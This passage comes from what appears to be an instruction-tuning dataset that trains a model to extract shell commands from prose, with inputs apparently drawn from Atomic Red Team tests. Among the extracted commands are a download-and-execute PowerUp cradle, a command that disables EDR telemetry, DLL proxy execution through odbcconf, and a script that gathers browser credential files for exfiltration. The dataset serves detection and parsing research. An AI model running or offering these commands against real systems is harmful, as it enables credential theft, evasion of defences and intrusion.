**semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate logged on users, you can use the following command: query user /SERVER:#{computer_name}",
    "output": "{\"command_list\": [\"query user /SERVER:#{computer_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing an arbitrary DLL file from your local storage, the required command is: odbcconf.exe /S /A {REGSVR \"#{dll_payload}\"}",
    "output": "{\"command_list\": [\"odbcconf.exe /S /A {REGSVR \\\"#{dll_payload}\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using logman.exe, the Microsoft Powershell ETW provider can be disabled to interfere with AV/EDR telemetry collection, via the following command: cmd /c \"#{ps_exec_location}\" -accepteula -i -s cmd.exe /c logman update trace \"#{session}\" --p \"#{provider}\" -ets",
    "output": "{\"command_list\": [\"cmd /c \\\"#{ps_exec_location}\\\" -accepteula -i -s cmd.exe /c logman update trace \\\"#{session}\\\" --p \\\"#{provider}\\\" -ets\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For gathering and compressing browser credential files from Firefox, Chrome, Opera, and Edge to prepare for offline password extraction, execute this command: $exfil_folder = \"$env:temp\\T1555.003\"\nif (test-path \"$exfil_folder\") {} else {new-item -path \"$env:temp\" -Name \"T1555.003\" -ItemType \"directory\" -force}\n$FirefoxCredsLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*.default-release\\\"\nif (test-path \"$FirefoxCredsLocation\\key4.db\") {copy-item \"$FirefoxCredsLocation\\key4.db\" -destination \"$exfil_folder\\T1555.003Firefox_key4.db\"} else {}\nif (test-path \"$FirefoxCredsLocation\\logins.json\") {copy-item \"$FirefoxCredsLocation\\logins.json\" -destination \"$exfil_folder\\T1555.003Firefox_logins.json\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data\"} else {}\nif (test-path \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\") {copy-item \"$env:localappdata\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -destination \"$exfil_folder\\T1555.003Chrome_Login Data For Account\"} else {}\nif (test-path \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\") {copy-item \"$env:appdata\\Opera Software\\Opera Stable\\Login Data\" -destination \"$exfil_folder\\T1555.003Opera_Login Data\"} else {}\nif (test-path \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\") {copy-item \"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\" -destination \"$exfil_folder\\T1555.003Edge_Login Data\"} else {} \ncompress-archive -path \"$exfil_folder\" -destinationpath \"$exfil_folder.zip\" -force\n",
    "output": "{\"command_list\": [\"$exfil_folder = \\\"$env:temp\\\\T1555.003\\\"\\nif (test-path \\\"$exfil_folder\\\") {} else {new-item -path \\\"$env:temp\\\" -Name \\\"T1555.003\\\" -ItemType \\\"directory\\\" -force}\\n$FirefoxCredsLocation = get-childitem -path \\\"$env:appdata\\\\Mozilla\\\\Firefox\\\\Profiles\\\\*.default-release\\\\\\\"\\nif (test-path \\\"$FirefoxCredsLocation\\\\key4.db\\\") {copy-item \\\"$FirefoxCredsLocation\\\\key4.db\\\" -destination \\\"$exfil_folder\\\\T1555.003Firefox_key4.db\\\"} else {}\\nif (test-path \\\"$FirefoxCredsLocation\\\\logins.json\\\") {copy-item \\\"$FirefoxCredsLocation\\\\logins.json\\\" -destination \\\"$exfil_folder\\\\T1555.003Firefox_logins.json\\\"} else {}\\nif (test-path \\\"$env:localappdata\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\") {copy-item \\\"$env:localappdata\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\" -destination \\\"$exfil_folder\\\\T1555.003Chrome_Login Data\\\"} else {}\\nif (test-path \\\"$env:localappdata\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data For Account\\\") {copy-item \\\"$env:localappdata\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data For Account\\\" -destination \\\"$exfil_folder\\\\T1555.003Chrome_Login Data For Account\\\"} else {}\\nif (test-path \\\"$env:appdata\\\\Opera Software\\\\Opera Stable\\\\Login Data\\\") {copy-item \\\"$env:appdata\\\\Opera Software\\\\Opera Stable\\\\Login Data\\\" -destination \\\"$exfil_folder\\\\T1555.003Opera_Login Data\\\"} else {}\\nif (test-path \\\"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\\\") {copy-item \\\"$env:localappdata/Microsoft/Edge/User Data/Default/Login Data\\\" -destination \\\"$exfil_folder\\\\T1555.003Edge_Login Data\\\"} else {} \\ncompress-archive -path \\\"$exfil_folder\\\" -destinationpath \\\"$exfil_folder.zip\\\" -force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy a file from a remote server to your local machine, use the following command: sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\n",
    "output": "{\"command_list\": [\"sftp #{username}@#{remote_host}:#{remote_file} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing raw TCP packets with AF_INET domain for a short duration, execute this command: sudo #{program_path} -4 -p 6 -t 3",
    "output": "{\"command_list\": [\"sudo #{program_path} -4 -p 6 -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure Bitlocker to allow startup key and PIN with TPM by executing this command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English 